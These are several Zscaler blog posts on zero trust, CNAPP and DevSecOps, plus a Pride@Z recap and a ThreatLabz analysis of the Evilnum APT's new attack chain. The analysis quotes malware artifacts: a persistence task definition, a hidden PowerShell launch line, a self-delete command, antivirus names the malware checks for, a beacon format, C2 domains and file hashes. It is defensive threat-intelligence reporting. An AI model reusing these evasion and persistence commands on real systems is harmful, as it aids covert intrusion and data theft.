Trust Exchange platform. The Zcaler platform lets us maintain a consistent security posture across both on-prem and cloud and expand our cloud security at a speed that makes sense for us. 5. Assess the vendor’s level of engagement Zero trust is a completely different security paradigm, so it’s important to select a vendor that can help your organization make the transition smoothly. You want a partner that will be there for you when needed and help you strategize and plan your security roadmap. Look for a vendor that treats you like a Fortune 500 company regardless of the size of your organization. From day one, the Zscaler team was far more engaged than the other companies we talked to, and they continued to stay highly invested in us throughout the sales and POV process and beyond. The whole deployment process was seamless, including the transition from the sales team to the implementation team, and we’ve been extremely pleased with the support we’ve received since then. 6. Modernizing security helps modernize and grow business In a few short months, we were able to securely modernize key aspects of our security infrastructure as well as kick-start our workplace modernization, transforming daily the way we work. Since implementing the Zscaler Zero Trust Exchange, we are more productive, efficient, and secure than we have ever been. We’ve also begun hiring hybrid and full-time remote workers, something that’s not common in our industry. Furthermore, a more robust security posture and a trusted, extensible cloud security platform give us more confidence to push forward with our business modernization goals, such as offering our customers more digital services—like mobile check-in and food and beverage ordering—and expanding our use of the cloud and SaaS applications to further enhance productivity and efficiency. Years ago, we gladly left behind the bingo hall and tent as we envisioned a bigger, better future. Now we’ve begun the journey to leave behind our traditional security architecture in favor of a better, more secure one based on zero trust. To learn more, I encourage you to read the accompanying case study about how our zero trust journey and partnership with Zscaler is helping us fast-track modernization for both security and our business. Fri, 01 Jul 2022 08:00:01 -0700 Stephen Bailey Celebrating Pride@Z As Pride Month comes to a close, we want to celebrate the LGBTQ+ community and our internal resource group (ERG) Pride@Z and take a look back on all the important (and fun!) moments we had throughout June. In tandem, we want to acknowledge the work that still needs to be done and how Zscaler is helping to ensure every employee feels safe and empowered to show up as their authentic selves every day. “This was our first Pride Month since the official founding of our Pride@Z ERG and we were able to accomplish so much: Virtual Drag Bingo, collaboration with B@Z on a poetry event, a steps challenge to get folks outside, new logo and official swag, a kickoff at our HQ, book club event, and more!” said Theresa Lucius, Pride@Z Lead and Sr. Manager, Customer Success Operations at Zscaler. “I’m honored to be a part of this ERG where we are empowering folks to just be themselves at work (and to have fun). As our membership continues to grow, we are looking forward to future programming and to learn more about what else we can be doing to make Zscaler a welcoming place to work for everyone. Great things to come!” Here is a quick recap of the events we held this month: Pride Month Celebration at San Jose HQ on June 2: We had a great time celebrating the first day of the Pride month at our San Jose, CA headquarters! We shared information about Pride @ Z, had participants spin the wheel for prizes, and took a couple of much-needed dance breaks. Virtual Drag Queen Bingo on June 2: We had an amazing turnout for our virtual drag queen bingo event! Our host nailed every dance routine, and some participants took away fabulous prizes. Pride@Z + B@Z Poetry Event with Santa Clara County Poet Laureate Tshaka Campbell on June 7: Tshaka Campbell joined us to recite original works and tell us about his journey as a poet. Zscaler employees shared powerful poetry that shed light on Pride Month and its meaning. Forming Community The importance of our Pride@Z ERG was felt throughout the month, as members of the community and allies banded together, supported each other, and shared personal stories of hardship, triumph, and strength. “This was the first year I publicly celebrated Pride month, and I am so glad that it aligned with my first year at Zscaler,” said Vanessa Stein, Business Operations Analyst at Zscaler. “I'm grateful to work for a company that promotes authenticity in the workplace. This was something lacking at each company I have worked for previously. I think Zscaler's environment and culture contributed to me feeling comfortable enough to share my story and make many new friends within the Pride ERG.” Pacer Pride Month Step Challenge: Our 23 participants walked more than 3,500,000 steps during June to celebrate Pride Month! The person with the most steps was able to donate to an LGBTQ+ charity of their choice. Beyond Pride Month While Pride Month is an opportunity to celebrate, it’s also a time for reflection and action. After all, Pride Month was founded out of protest. “What most of our generation thinks of as Pride is crowds of smiling people, music, and celebration. During the SF Pride Parade, seeing same-sex couples embracing or holding hands is so common it hardly registers, but it is a far cry from the original marches, protests, and demonstrations that formed the foundation of Pride Month and the LGBTQ+ movement,” said Ambreen Lakhani, Sr. Mgr, WW Business Operations at Zscaler. “As sociopolitical tensions have risen in this country, I felt the call to demonstrate better allyship for underrepresented communities. For me, this means visibly expressing my support of marginalized groups and amplifying voices that are often shouted, or Tweeted, over,” Lakhani said. “Pride month provides me a great opportunity to grow in my role as an ally to the LGBTQ+ community. At work, attending Pride@Z events as an ally makes me feel proud to work for a company that makes space for everyone, no matter their sexual orientation or gender identity.” “At the beginning of Pride month, I was focused on how our activities could make Pride@Z more visible so that closeted or questioning Zscaler employees knew that they didn't need to hide at work, and that they had a a support system in us,” said Adam Auerbach, Solution Architect at Zscaler. “Little could I have imagined all that has happened during the past month and that I would lean on that support myself.” “With recent changes at the governmental level, the future feels uncertain,” said Stein. “I appreciate working for a company that embraces our rights and our authenticity as individuals. I look forward to working together to make a difference.” At Zscaler, we value inclusivity and diversity every day and every month of the year, and we will continue to fight to ensure every employee feels empowered to bring their authentic selves to work. Thu, 30 Jun 2022 16:33:28 -0700 Kristi Myllenbeck Prioritizing and Remediating Cloud Risk with CNAPP In my discussions with customers regarding public cloud security, two important problems come up more than any others. Both are people- and process-related challenges that form the basis for why we built Posture Control. The first challenge is that nobody has a large enough infosec team. In fairness, this isn’t a new problem in the cloud. It’s something that I have been hearing my entire career. But that doesn’t mean it’s not a problem that we can make progress toward solving. The second challenge is that there is too much friction in the relationship between development teams and information security teams. And why wouldn’t there be? Infosec teams have been blocking dev teams from getting this stuff done since the dawn of time. Improving infosec efficiency with CNAPP When you can’t create more time, and you can’t hire more people, your only options are to either fail or to become more efficient. Efficiency is all about spending minimal time to achieve maximum impact, and the way to do that is to understand, prioritize, and focus on what is most important. With so many cloud security tools generating so many signals, it is a real challenge to prioritize. Emerging CNAPP solutions, like Posture Control, have been designed to help you understand the signals through the noise. Let’s take a simple example. Suppose we get an alert on inbound traffic from a known malicious IP. If your team investigates this event in Posture Control, they’ll find at the center of the incident was an AWS EC2 VM with two critical unpatched vulnerabilities. But there are thousands of vulnerabilities like this in your organization. How would you have known that these were important? The answer is that it depends. If this VM was air-gapped, with no access to the internet and no access to sensitive data, there probably isn’t a lot of risk. If, on the other hand, the VM has access to sensitive company data—such as PII—and is exposed to the internet via a security group misconfiguration, and has an IAM role assigned to the EC2 instance, the risk is much, much higher. CNAPP solutions can build this sort of context, understanding the relationships between cloud assets and a wide range of signals. All of this factors into risk prioritization that acts as your team’s starting point for efficient response and remediation to public cloud security issues. The result is maximum impact because your team is always focused on the most important risks in your cloud environment. Improving development collaboration with CNAPP Of course, responding to the most impactful areas of weakness in our cloud is important, but, wouldn’t it be better to eliminate these weaknesses prior to deployment? The latest CNAPP extends risk visibility and prioritization across the cloud application lifecycle via native integrations into development and DevOps tools, including IDEs, source code management systems, and CI/CD tools. The objective is for the security team to collaborate as effectively as possible with their counterparts in the CTO organization. Let’s take an example - a developer working on a Terraform script in Visual Studio Code. This developer does not want to learn how to use an infosec tool like a CNAPP, and go there every time there is an issue. But they also don’t want to wait until their code goes to production to have it kicked back to them to remediate issues. In an ideal world, they know about the policy violation immediately, in the tools that they are already using, and they have all of the information needed to resolve the issue without interrupting their workflow and forcing them to switch application contexts. A CNAPP should have plugins into a wide range of tools to accomplish exactly that - point in time feedback that shows what the issue is, how to fix it, and why it is important. The outcome is a development team that is able to build secure cloud applications without slowing down their pace of innovation. It’s a win-win for both infosec and the application team, and the key to more effective collaboration. Zscaler Posture Control Posture Control is Zscaler’s CNAPP solution. It combines several risk identification engines into a powerful platform to help organizations build and run secure cloud applications. Importantly, this product is designed to help your infosec teams become more efficient at mitigating public cloud risk, while also enabling more effective collaboration with development and DevOps counterparts to improve security while maintaining the pace of innovation. At the heart of Posture Control is a powerful risk correlation and prioritization engine that understands the relationships between cloud assets and a broad range of signals to provide both proactive and reactive security, becoming your universal platform for securing assets in public cloud environments like AWS, Azure, and GCP. Proactive capabilities help you eliminate the combinations of weakness and risks that are most likely to be exploited, leading to a security incident. This is paired with a cloud XDR function to help quickly and easily investigate complex, multi-part security incidents. The system draws from misconfigurations, excessive entitlements, unpatched vulnerabilities, exposed attack surface, and more to give a complete view of an organization’s multi-cloud risks. The result? A prioritized view of correlated risks and incidents that act as your team’s starting point for efficient response and remediation, highlighting weaknesses across your cloud application lifecycle, from build to run. Read more: Zscaler Posture Control Thu, 30 Jun 2022 09:00:02 -0700 Rich Campagna The Role of Security in DevOps Architecture With the increase of digital business powered by cloud, DevOps has become an infinite backbone behind the software delivery ecosystem. DevOps empowers development teams to deliver applications faster by reducing the time to deploy functionalities and features. The core of DevOps, “automation” for agility and “integration” of various sets of tools for visibility, have reduced the complexity and gaps between traditional development and operations teams. The outcome? Substantial productivity boosts in every development ecosystem. As DevOps enables speed, agility, and cross-functional collaboration, many organizations run the risk out outpacing “security”, creating a huge remediation backlog for engineering and Infrastructure teams. Fortunately, modern (CI/CD) tooling capabilities allow security checks to be baked into the DevOps process at almost any stage of the development lifecycle (Code|Check-in|Build|Test|Deploy|Monitor). Cloud-Native Application Security platforms (CNAPP) allows security teams to implement gates and guardrails that can be integrated into any DevOps pipeline, enabling visibility for every software, DevOps, and security engineer. Such a security-integrated DevOps pipeline is called a DevSecOps pipeline. The DevSecOps pipeline The security team can integrate security gates at various stages of the CI and CD process, as described below: Source Code & Integrated Development Environment (IDE): Code is born in a developer's IDE. Integrating IaC scanning abilities with an IDE could enable visibility for developers and guide them to follow security coding standards before even the code is checked into a source code system. The second check can be enabled during the source code check-in process, where every PR and MR raised by the developers is scanned for vulnerabilities and sensitive information leakage using SAST and OSS tools, which gives the approvers ability to sign off on clean and compliant code into the pipeline. Build and Test - CI Pipeline: Once the code is approved and merged, the CI workflow is initiated. In this process, security teams can scan the software for OSS (Open Source Software) vulnerabilities and their licenses, along with functional and unit testing. These security gates help to protect the intellectual property rights of the product and prevent zero-day vulnerabilities. This process reduces the review and approval cycles for engineering teams. Artifacts: The CI process ends with clean and compliant code being pushed into the central registry. Security teams can enable vulnerability scanning, audit, and access scanning on this central registry to continuously monitor zero-day and unauthorized access and for rogue or unsigned packages being introduced. Deployment: Certified and signed images from the registry are deployed into various environments for functional, regression, and stress testing. In this cycle, security teams can simulate real-world attacker scenarios on the application “Grey-box testing” and project the exploitable risks present in the application. Monitor: Tested, scanned, hardened network, infrastructure, and applications are now deployed. As SRE teams monitor and scale the application, infrastructure, and network security teams continuously monitor and protect the runtime behavior of the application, API, containers, cloud, network and infrastructure using tools like CNAPP. Security teams continuously collect, process, and correlate runtime signals across various building blocks (Network, Infrastructure, and cloud) of an application. They develop and deploy the right set of security guardrails to prevent any security events thus guarding the customer-centric application and data. Conclusion Security integrated CI/CD workflows enable and guide developers with organization-defined security best practices, thus reducing security backlog. DevSecOps workflows improve proactive security without compromising on agility. Ensuring that cloud applications are “born secure” is a must-have for growing digital businesses and enterprises. DevOps poses a variety of organizational and technical security challenges for security teams. Security teams must find ways to safeguard DevOps environments without impairing the pace of development. CNAPP solutions such as Zscaler’s Posture Control empower security and DevOps teams to enforce consistent best practices for securing DevOps environments. Learn more about Posture Control and its capabilities. Thu, 30 Jun 2022 08:00:01 -0700 Bala Kannan Weed Out the Challenges of Network Security by Cultivating Zero Trust Summer has just begun, the flowers are blooming, and wildlife has all but forgotten the cold and shadows of winter. For many of us, summer represents an opportunity to get out into the sun and take action. It is the time to clean out the weeds that sprouted in the garden in spring, and plant seeds in preparation for the summer bounty to come. When it comes to cybersecurity, most of us can do with a bit of weeding and planting ourselves. For decades we’ve leveraged the same plan—flat, hub-and-spoke networks and connecting every branch office and remote user back to centralized data centers over MPLS and VPNs. And, we’ve used the same strategy leveraging castle-and-moat security models and perimeter firewalls to secure those networks. Now is the perfect time to refresh and refocus your mindset and embrace a new approach—one based on zero trust. As we embrace summer in the northern hemisphere and begin the process of recovering from the global pandemic, it’s impossible not to recognize that the world has changed. Users are working from everywhere, and applications increasingly reside in SaaS and in public clouds, no longer rooted in the data center. Much like weeds sprouting in your garden—if ignored, can overtake your garden—ignoring the challenges of network security can put your entire organization at risk. It’s time to take a closer look at those challenges and develop a new plan that will lead your organization to a fruitful and secure future: Challenge #1 - Unknown and uncontrolled risks. Sophisticated attackers can readily discover and exploit internet-facing firewalls, VPNs, and user devices. Once on the network, adversaries have free reign to move laterally across your network to spread malware like a weed and infiltrate valuable assets to deny access or steal data. Their actions disrupt the flow of business, can result in data and financial loss, and can ultimately incapacitate your business. Challenge #2 - Complexity. Trying to use network perimeter policies for SaaS and cloud applications and users who are no longer on the corporate network is a bit like managing a garden that was planted by tossing seeds into the wind. It is inefficient and introduces unnecessary complexities because the users and applications have moved beyond the fences of the network perimeter. Challenge #3 - Poor user experience. Users expect applications to work whenever and wherever they need them. But, backhauling traffic over MPLS or VPN to a central security stack places unnecessary burden on the data center, increases latency, and creates a poor experience that slows productivity, inhibits collaboration, and frustrates users. Challenge #4 - Siloed IT teams. In the past, IT teams were designed to cultivate paths within their functional areas. Infrastructure modernization requires shifting traditional networking and security mindsets and breaking down functional silos to enable teams to collaborate and design, establish, and nurture the organization on its transformation journey. Without the right tools, training, and processes the effort can be tedious and slow. Challenge #5 - Costly and inefficient deployments. Deploying and managing network and security infrastructures can be costly from both a financial and resource perspective. In addition, teams must maintain policies, implement patches and security updates, and manage hardware refreshes. Allocating resources to support these activities divert IT teams from focusing on more strategic initiatives. So, how do we weed out these network security challenges? Transforming your network and security, like growing an abundant garden, is a journey that begins by establishing a solid foundation rooted in zero trust. If you want to learn more about navigating the challenges of network security with zero trust, read our whitepaper that explores the topic in depth. Wed, 29 Jun 2022 08:00:02 -0700 Jen Toscano Zero Trust Network Pillar: Evolving How We Use the Network This post is the second in a series examining how Zscaler supports the move to zero trust as defined by CISA. The federal zero trust strategy is making agencies rethink how networks are accessed and their overall role in the IT stack. The strategy states that agencies can “no longer depend on conventional perimeter-based defenses to protect critical systems and data.” It goes on to direct agencies to “make bold changes and significant investments in order to defend the vital institutions that underpin the American way of life.” This transformational directive is critical for competing with near-peer adversaries who do not limit themselves to incremental improvements, but instead rapidly evolve their tactics and techniques, and only those “bold changes and significant investments” called for in the strategy have any hope of standing up against them. These “bold changes” stem from the fundamental tenet of zero trust that all users, assets, and services are operating in an “assumed hostile” environment, no matter where they reside. To achieve this posture, it is vital to use strong identity/multi-factor authentication (MFA) techniques, to authorize and attribute all user/entity actions, limit those actions to the least amount of granted privileges and access required, and encrypt all traffic on both internal and external networks, starting with DNS and HTTP. There is no perimeter With the rapid adoption of cloud and SaaS applications across the federal government, the legacy “perimeter” has dramatically eroded. Applications, data, and users dynamically exist anywhere and everywhere. For example, when you load Gmail in your browser, the user interface you see is composed of a complex web of microservices and data stores hosted across a vast cloud architecture, each of which change and scale multiple times a day to meet the needs of users. Securing such a distributed and dynamic architecture is daunting, and this example serves to illustrate the challenge facing the federal government as it strives to modernize applications to best serve its citizens. Zero trust tenets are foundational to achieving security in this modern reality, where security and access are not based on where an application lives, but rather what a user is allowed to access, and how the components of modern applications communicate with each other. Zscaler was designed with this reality in mind, to allow users to connect directly to applications no matter where they are, and without having to expose multi/hybrid cloud infrastructure externally. Zscaler is purpose-built to change the way networks work and aligns with the federal zero trust strategy. Internet as the access point The goal is clearly stated in the strategy: “in mature zero trust deployments, users strongly authenticate into applications, not into the underlying networks.” Zscaler directly addresses this zero trust and usability challenge by being a built-from-the-ground-up cloud-native, identity-centric, and multi-tenant platform which provides efficient and secure access to the internet, SaaS, and private applications from any location or any device. This approach decouples and abstracts security away from underlying infrastructure to ensure consistent and agile protection without impacting user experience or introducing friction/complexity. Zscaler secures and segments user and workload-to-internet/SaaS traffic regardless of device or location, providing consistent policy enforcement and ubiquitous threat prevention, access control, data protection, and traffic obfuscation across the federal landscape. Zscaler also fundamentally modernizes how users consume private applications, giving them seamless, secure, and direct access, rather than requiring VPNs for application access. From a user’s perspective, they access private applications exactly the same way as public applications, a fundamental tenet of the strategy which espouses “making applications internet-accessible in a safe manner, without relying on a virtual private network (VPN) or other network tunnel.” This approach aligns to the abstractions of multi/hybrid cloud architectures by decoupling remote access from underlying networks and architectures and brokering access at the application layer based on user identity and continuous device posture. Trust no one, encrypt everything Looking at zero trust from a traditional network security perspective, you could say it maps most closely to the core security concept of least-privileged access, but zero trust is much more than this. It requires a way to continuously authenticate and authorize the people and devices that are gaining access to applications, since identity is central to securing network and application connectivity in a zero trust model. Everything in the path between the user and the application must constantly inspect the traffic to ensure that activity is attributed to a user and policy is applied correctly. However, when everything is encrypted, there is a natural loss of visibility, as acknowledged in the strategy, “it will be critical to balance the depth of their network monitoring against the risks of weak or compromised network inspection devices.” Zscaler addresses this balance head-on, by being both a cloud-scale, ubiquitous visibility/monitoring platform, and also being an enforcer of the fundamental tenets of zero trust for user and application network traffic. In fact, by continually authenticating and authorizing users and devices that are gaining access to applications, Zscaler drives identity to the core of monitoring, ensuring that all activity is attributable to the actor’s identity, whether they are on-prem or remote. Zscaler’s ability to decrypt traffic at cloud-scale in a FedRAMP/JAB-authorized SaaS platform is foundational to this visibility without expecting customers to be responsible for managing and securing network inspection appliances. This is the innovation that Zscaler brings to achieving the goals of the strategy - reducing complexity, reducing management overhead, while also embodying and enforcing zero trust principles. Zscaler is purpose-built as a SaaS-delivered solution that is easily managed from a unified, consistent user interface and offers flexible deployment options to allow customers to rapidly adopt this capability, facilitating compliance with this important federal zero trust strategy. Read more: Realizing The Federal Zero Trust Maturity Mode Tue, 28 Jun 2022 08:00:01 -0700 Matt Moulton Return of the Evilnum APT with updated TTPs and new targets Summary Since the beginning of 2022, ThreatLabz has been closely monitoring the activities of the Evilnum APT group. We identified several instances of their low-volume targeted attack campaigns launched against our customers in the UK and Europe region. The new instances of the campaign use updated tactics, techniques, and procedures. In earlier campaigns observed in 2021, the main distribution vector used by this threat group was Windows Shortcut files (LNK) sent inside malicious archive files (ZIP) as email attachments in spear phishing emails to the victims. In the most recent instances, the threat actor has started using MS Office Word documents, leveraging document template injection to deliver the malicious payload to the victims’ machines. In this blog, we present the technical details of all components involved in the end-to-end attack chain. At the time of writing, to the best of our knowledge, the complete attack chain of this new instance of Evilnum APT group is not publicly documented anywhere. ThreatLabz has identified several domains associated with Evilnum APT group which have not been previously detected by security vendors. This discovery indicates that the Evilnum APT group has been successful at flying under the radar and has remained undetected for a long time. Key points The key targets of the Evilnum APT group have predominantly been in the FinTech (Financial services) sector, specifically companies dealing with trading and compliance in the UK and Europe. In March 2022, we observed a significant update in the choice of targets of Evilnum APT group. They targeted an Intergovernmental organization which deals with international migration services. The timeline of the attack and the nature of the chosen target coincided with Russia-Ukraine conflict. Macro-based documents used in the template injection stage leveraged VBA code stomping technique to bypass static analysis and also to deter reverse engineering. A heavily obfuscated JavaScript was used to decrypt and drop the payloads on the endpoint. The JavaScript configured a scheduled task to run the dropped binary. This JavaScript has significant improvements in the obfuscation technique compared to the previous versions used by EvilNum APT group. The names of all the file system artifacts created during the course of execution were chosen carefully by the threat actor to spoof legitimate Windows and other legitimate third party binaries' names. In each new instance of the campaign, the APT group registered multiple domain names using specific keywords related to the industry vertical targeted. Attack flow Figure 1: Attack chain Technical Analysis For the purpose of technical analysis we will consider the document with MD5: 0b4f0ead0482582f7a98362dbf18c219 Stage 1: Malicious document The stage 1 malicious document is delivered via spear phishing email. Once the user downloads and opens the malicious document, it fetches the stage 2 macro template from the attacker-hosted domain and displays the decoy content as shown in Figure 2 asking the user to enable the macro content. Figure 2: Decoy content Stage 2: Macro template [VBA code stomping technique] The stage 2 template contains the main malicious macro code. It makes use of VBA code stomping technique which is fairly uncommon in the wild. This technique destroys the original source code and only a compiled version of the VBA macro code (also known as p-code) is stored in the document. As a result, this technique prevents static analysis tools such as olevba from extracting the decompiled VBA code. Using the technique mentioned by the Walmart team here, we were able to extract the full macro code. All the strings in the macro code are decrypted using the string decryption function shown in Figure 3. Figure 3: String decryption function used in the VBA macro code Below are the key functionalities of the macro. 1. The document file has two text boxes with encrypted contents. These textboxes will be decrypted at run time by the VBA macro code. a) Textbox 1 - msform_ct.TextBox1.Text. This will be decrypted and contents will be written to %appdata%\"ThirdPartyNotices.txt" b) Textbox 2 - msform_ct.TextBox2.Text - This will be decrypted and contents will be written to "%appdata%\Redist.txt" 2. Copies the legitimate Windows binary Wscript.exe to a file with the name "msdcat.exe". Such file copy operations are done by malwares as a way to bypass endpoint security products. 3. The file - Redist.txt contains the obfuscated JavaScript which will be executed with the following command line: msdcat.exe" /E:jscRipt "%appdata%\Redist.txt" dg ThirdPartyNotices.txt Note: "dg" is a hard coded command line parameter present inside the VBA macro code. 4. During the course of execution of VBA macro code, there are multiple calls to doc.Shapes.AddPicture() which fetches a JPG image from the attacker-controlled server. We believe this was done by the attacker to trace and log the execution of code on the endpoint. One such example is shown in Figure 4. There is a call to doc.Shapes.AddPicture() between the building of the command line and the execution of the command line. Figure 4: VBA code fetches image from attacker’s server to log actions on endpoint Stage 3: Dropped JavaScript [Deobfuscation and analysis] The original JavaScript dropped by the VBA-based macro code is heavily obfuscated. We will highlight some of the unique obfuscation techniques used which are rarely observed in obfuscated JavaScripts. There are two parameters passed to this JavaScript at the time of execution with following command line: msdcat.exe" /E:jscRipt "C:\Users\user\AppData\Roaming\Redist.txt" dg ThirdPartyNotices.txt parameter 1: "dg". This string is later used in the string decryption function in JavaScript. parameter 2: The file "ThirdPartyNotices.txt" contains the encrypted code which will be decrypted and dropped by the JavaScript on the filesystem with binary name - SerenadeDACplApp.exe Most obfuscation techniques involve a large array of encrypted and encoded strings which are referenced throughout the code using indexes. A common approach to deobfuscate this requires multiple "search and replace" operations where you replace the reference with the actual decrypted and decoded string. JavaScript in this case used an interesting technique where the original array of strings was shuffled, and would be unshuffled in memory at the time of execution. So, any attempt to dereference the strings without unshuffling the array would result in an error. Such a method can be used to deter reverse engineering and also bypass some tools which try to automate the process of deobfuscation. Let's look at it in more detail. Figure 5 below shows the huge array of strings defined at the beginning of the JavaScript. This array is wrapped inside a function as an extra layer of obfuscation. Figure 5: array of encoded and encrypted strings The next step is to unshuffle the array. Figure 6 below shows the relevant JavaScript code which uses a brute force approach to unshuffle the array. It has a predefined seed of value "0x6467a". Upon each iteration, the function computes a seed using various mathematical operations and compares it with the predefined seed "0x6467a". The function continues to shift the contents of the array by one position to the right until this condition is satisfied. Relevant comments are included in the code to illustrate the unshuffling logic. Figure 6: JavaScript function which unshuffles the array Other techniques used for obfuscation involve control flow flattening techniques which leverage switch-case obfuscation. Figure 7 shows one of the string decryption functions which uses such an obfuscation technique. Figure 7: Control flow flattening using switch-case obfuscation The sequence of steps of decryption are shuffled using switch-case and the order is followed according to the following sequence: "15|12|3|2|14|5|1|10|9|17|8|7|6|4|13|16|0|11" It means, "case 15" is executed followed by "case 12" and so on. The final “case 11” returns the decrypted string. We can re-write the string decryption function as shown in Figure 8 which is easier to analyze. Figure 8: re-written string decryption function We have included a list of interesting decrypted strings extracted from the JavaScript in Appendix I. [+] Persistence The threat actor achieves persistence via Scheduled task. During JavaScript execution, a scheduled task with the name "UpdateModel Task'' will be created to execute the dropped loader binary with required command line arguments. Task details: <Exec> <Command> %appdata%\Microsoft\FontCache\CloudFonts\SerenadeDACplApp.exe </Command> <Arguments> "OUM3NjBDNjAtRkNDQi00Q0FDLUE5NEMtNzY0RTc5MDNDN0Mw" "devZUQVD.tmp" "NzkzMTA3" "Ni4xLjc2MDE%3D" 0 "E4A6450B" "NTk1NDQxWwpaWhlhdmVbB1tf" Z </Arguments> <WorkingDirectory> %appdata%\Microsoft\FontCache\CloudFonts </WorkingDirectory> </Exec> Stage 4: Dropped binary (Loader) As described in previous section, the JavaScript drops two files: a) An executable file (SerenadeDACplApp.exe) - It turns out to be a loader b) A binary file (devZUQVD.tmp) - This is the file loaded during runtime by the loader The loader is executed by the scheduled task along with the required arguments. During the course of its execution it performs following operations: 1. Performs command-line checks and extracts the file name for the binary to be loaded The loader checks if the command-line ends with ("). If true then it will terminate the process else it will parse the arguments to extract the file name for the binary file to be loaded. # There are two code logics to extract the file name If the first argument has the format (--[char]=[char]*) then the loader will remove the first 5 characters from this argument string, prepend "dev" and append ".tmp" to it. The resulting string is used as the file name for the dropped binary. Example: Argument string: --E=nThisIsUsedInFileName Extracted file name: devThisIsUsedInFileName.tmp The second argument string is used as the file name for the dropped binary 2. Generate full path for the dropped binary file in DOS format The loader first extracts the full path of the currently executing binary and prepends it with “\\??\\” and then overwrites the file name of the currently executing binary with the file name extracted in Step-1. 3. Using the Heaven's gate technique calls the NtOpenFile API to create a file handle 4. Allocates memory for reading the file content using RtlAllocateHeap API 5. Using the Heaven's gate technique calls the NtReadFile API to read the file content to allocated memory 6. Decrypt the file content # Encrypted content format XOR key length (1 byte) + XOR key + encrypted content size (4 bytes) + encrypted content Figure 9: Encrypted content format The decrypted content turns out to be a PE file that uses a custom format for storing the PE header and section header information. # Decrypted content format Custom PE header (+ Custom Section header + Section data)*Number of sections # PE header format Start of decrypted content as well as PE header (1 byte - 00) + Image Base (4 bytes) + Size of Image (4 bytes) + Entry Point (4 bytes) + Number of sections (4 bytes) + Offset to first section information from start of decrypted content (4 bytes) + Size of decrypted content (4 bytes) # Section header format Section number marker (1 byte) + Section RVA (4 bytes) + Section VirtualSize (4 bytes) + Unknown (4 bytes) Figure 10: PE header, Section header and Section data 7. Using the Heaven's gate technique calls the NtAllocateVirtualMemory API to allocate memory for the PE file to be mapped. Note: The size is taken from the PE header format described above. 8. Map the PE file in memory. 9. Using Heaven's gate technique calls the NtCreateThreadEx API to create a thread pointing to the entry point of mapped PE. Note: The loader uses Heaven's gate technique to evade endpoint security products as well as syscall or API monitoring applications. It uses a custom header format to thwart memory scanning for PE header or section header patterns and also makes it difficult to dump and analyze the PE file as a standalone executable. Stage 5: Mapped PE (Main backdoor) The mapped PE is the main backdoor of the attack chain. On execution it performs the following operations: 1. Decrypts the backdoor configuration which includes : a) C2 domains b) User Agent strings c) Network paths d) Referrer strings e) Cookies type strings f) Request methods + Library names (These will be loaded during further execution) + Network communication key generation seed bytes + Mutex name All the information inside the configuration is encrypted using XOR key. The XOR key is different for each data item within the configuration. # Encrypted data item format Encrypted data size (2 bytes) + Encrypted data + XOR Key length (2 bytes) + XOR Key Figure 11: Encrypted data item format 2. Resolves API addresses for the libraries retrieved from the configuration 3. Performs mutex check 4. Builds data exfiltration string to be sent as part of the beacon request # String format { "v":"62","u":"{first_arg-user_id}","a":"{third_arg}","w":"{fourth_arg}","d":"{sixth_argument}","n":"{seventh_arg}","r":"0","xn":"{name_of_executing_binary}","s":0 } 5. Encrypt and Base64 encode the generated string Figure 12: Steps performed for encrypting and encoding the exfiltrated data Note: You can find the decryption code under Appendix III section 6. Embed the encoded string inside the cookie header field by selecting one of the cookie type strings from the configuration. [+] Network communication Once all the above operations are done. The backdoor selects one of the C2 domains and a path string from the configuration and sends the beacon network request. If the beacon request is successful, the backdoor will query the server for available content and download it. Based on the content size two different operations are performed: 1. If the content size is 4 then the backdoor checks if the downloaded data is equal to "01". If true, it takes the machine snapshot and sends it to the C2 server via POST request. The snapshot data is exfiltrated in encrypted form with the cookie header containing additional information. # Format of cookie header string { "u":"{first_arg-user_id}", "sc":1, "dt"="{snapshot_date_time}" } 2. If the content size is greater than 4, then the backdoor decrypts the downloaded data and executes it. Zscaler Sandbox report # Template payload Indicators of compromise [+] Hashes MD5 Description Filename 0b4f0ead0482582f7a98362dbf18c219 Document proof of ownership.docx 4406d7271b00328218723b0a89fb953b Document tradersway compliance.docx 61776b209b01d62565e148585fda1954 Document vantagemarkets documents.docx 6d329140fb53a3078666e17c249ce112 Document vantagefx compliance.docx db0866289dfded1174941880af94296f Document calliber docs (2).docx f0d3cff26b419aff4acfede637f6d3a2 Document complaince tfglobaltrading.docx 79157a3117b8d64571f60fe62c19bf17 Document complaint 63090a9d67ce9534126cfa70716d735f Document fxtm_compliance.docx f5f9ba063e3fee25e0a298c0e108e2d4 Document livetraderfx.docx ea71fcc615025214b2893610cfab19e9 Loader SerenadeDACplApp.exe 51425c9bbb9ff872db45b2c1c3ca0854 Encrypted binary devZUQVD.tmp [+] C2 Domains travinfor[.]com webinfors[.]com khnga[.]com netwebsoc[.]com infcloudnet[.]com bgamifieder[.]com bunflun[.]com refinance-ltd[.]com book-advp[.]com mailservice-ns[.]com advertbart[.]com inetp-service[.]com yomangaw[.]com covdd[.]org visitaustriaislands[.]com traveladvnow[.]com tripadvit[.]com moreofestonia[.]com moretraveladv[.]com estoniaforall[.]com bookingitnow[.]org travelbooknow[.]org bookaustriavisit[.]com windnetap[.]com roblexmeet[.]com netrcmapi[.]com meetomoves[.]com bingapianalytics[.]com azuredcloud[.]com appdllsvc[.]com udporm[.]com pcamanalytics[.]com nortonalytics[.]com deltacldll[.]com mscloudin[.]com msdllopt[.]com [+] Unique URI paths # Below URI paths are appended to the domain names by the malware while sending POST requests /actions/async.php /admin/settings.php /admin/user/controller.php /admin/loginauth.php /administrator/index.php /cms/admin/login.php /backend/login/ajax_index.php /wp-admin/media-new.php /get.php /auth/login [+] Scheduled task names UpdateModel Task PropertyDefinitionSync Schedule Defrag Appendix I # Unique strings extracted from the deobfuscated JavaScript appdata%\Microsoft\FontCache\CloudFonts\Fonts Schedule.Service SELECT UUID FROM Win32_ComputerSystemProduct SELECT Version FROM Win32_OperatingSystem %USERDOMAIN% %USERNAME% MUID UpdateModel Task /c start /min "" powershell -inputformat none -outputformat none -windowstyle hidden -c %localappdata%\DELL\DellMobileConnect\Dumps\TechToolkit.exe %localappdata%\DELL\DellMobileConnect\Dumps PropertyDefinitionSync PT5H %appdata%\Mael Horz\HxD Hex Editor\Logs\nvapiu.exe %appdata%\Mael Horz\HxD Hex Editor\Logs Schedule Defrag PT5H MetadataRefreshTask WsSwap AssessmentTask U64Pan.exe cmd /c ""ping -n 5 -w 10000 > nul & del /q avast avg AntiVirusProduct SerenadeDACplApp.exe Western Digital\WD Backup\Storage calcy SupportAssistAppWire.exe E4A6450B wctXSPKB.tmp msdcat Appendix II # Runtime strings present inside the unpacked backdoor binary /admin/settings.php /admin/index.php /actions/authenticate.php 